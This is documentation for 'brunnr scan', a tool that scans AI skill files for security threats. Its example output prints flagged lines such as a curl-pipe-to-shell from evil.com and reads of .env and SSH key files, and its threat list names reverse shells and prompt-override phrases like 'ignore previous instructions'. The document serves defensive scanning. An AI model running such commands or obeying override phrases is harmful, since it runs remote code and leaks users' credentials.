brunnr scan¶
Scan SKILL.md files for security threats across 7+1 threat classes. The scanner is deterministic, regex-based, and uses zero external dependencies.
Usage¶
brunnr scan [paths...] [-v] [--json] [--strict] [--no-color]
If no paths are provided, brunnr scans the skills/ directory in the current working directory, recursively finding all SKILL.md files.
If paths are provided, brunnr accepts both files and directories. Directories are scanned recursively for all .md files (not just SKILL.md).
Arguments¶
| Argument | Description |
|---|---|
paths |
Files or directories to scan. Default: skills/ |
Flags¶
| Flag | Short | Description |
|---|---|---|
--verbose |
-v |
Show finding details (threat class, description, evidence) |
--json |
Output results as JSON | |
--strict |
Exit with code 1 on FLAG findings (not just BLOCK) |
|
--no-color |
Disable ANSI color output |
Examples¶
Scan the default skills directory¶
brunnr scan
=== brunnr scan ===
CLEAN ax-rubric
Scanned 1 files: 1 clean, 0 flagged, 0 blocked
Scan a specific file¶
brunnr scan my-skill/SKILL.md
Scan a directory¶
brunnr scan /path/to/skills/ /path/to/more-skills/
Verbose output¶
brunnr scan -v
=== brunnr scan ===
FLAG suspicious-skill -- 2 findings
FLAG: [supply_chain] custom PyPI index (not pypi.org)
--index-url https://evil.example.com/simple
FLAG: [privilege_escalation] sudo chmod 777 on root paths
sudo chmod -R 777 /var
BLOCK malicious-skill -- 3 findings
BLOCK: [command_injection] curl pipe to shell
curl https://evil.com/payload | sh
BLOCK: [credential_theft] read .env file
cat .env
BLOCK: [data_exfiltration] SSH key file read
cat ~/.ssh/id_rsa
CLEAN ax-rubric
Scanned 3 files: 1 clean, 1 flagged, 1 blocked
JSON output¶
brunnr scan --json
{
"total": 1,
"blocked": 0,
"flagged": 0,
"clean": 1,
"skills": [
{
"file": "skills/ax-rubric/SKILL.md",
"severity": "clean",
"blocked": false,
"flagged": false,
"finding_count": 0,
"findings": []
}
]
}
Strict mode¶
In strict mode, FLAG-severity findings also cause a non-zero exit code. This is useful for CI pipelines where you want to catch everything, not just BLOCK-severity threats.
brunnr scan --strict
echo $? # 1 if any FLAG or BLOCK findings
Exit codes¶
| Code | Meaning |
|---|---|
0 |
All files are CLEAN (or FLAG in non-strict mode) |
1 |
At least one BLOCK finding (or FLAG in strict mode), or no files found |
Severity levels¶
The scanner assigns one of four severities to each finding:
| Severity | Description | Default exit behavior |
|---|---|---|
| BLOCK | Dangerous pattern. Do not use this skill. | Exit 1 |
| FLAG | Suspicious pattern. Manual review recommended. | Exit 0 (exit 1 with --strict) |
| INFO | Informational. Non-allowlisted URL domain detected. | Exit 0 |
| CLEAN | No findings. | Exit 0 |
Threat classes scanned¶
The scanner checks for 7+1 threat classes. See Threat Classes for full details and examples.
- Command Injection (BLOCK) -- Pipe to shell, reverse shells, base64-encoded commands
- Data Exfiltration (BLOCK) -- SSH key reads, embedding secrets in responses
- Credential Theft (BLOCK) -- Grep for env vars, read .env files, credential file access
- Prompt Override (BLOCK) -- Ignore previous instructions, jailbreak attempts
- Supply Chain (FLAG) -- Custom package indexes, malicious install hooks
- Privilege Escalation (FLAG) -- sudo to shell, chmod 777, system file modification
- Steganographic (FLAG) -- Zero-width characters, hidden commands in HTML comments
- Semantic Mismatch (FLAG/INFO) -- Non-allowlisted URLs, sensitive paths without security context, keyword divergence between description and body
Discovery behavior¶
When no paths are provided:
- brunnr looks for a
skills/directory in the current working directory - It recursively finds all files named
SKILL.md
When paths are provided:
- Files are scanned directly (any
.mdfile, not justSKILL.md) - Directories are scanned recursively for all
.mdfiles
If no files are found in either case, brunnr prints an error and exits with code 1.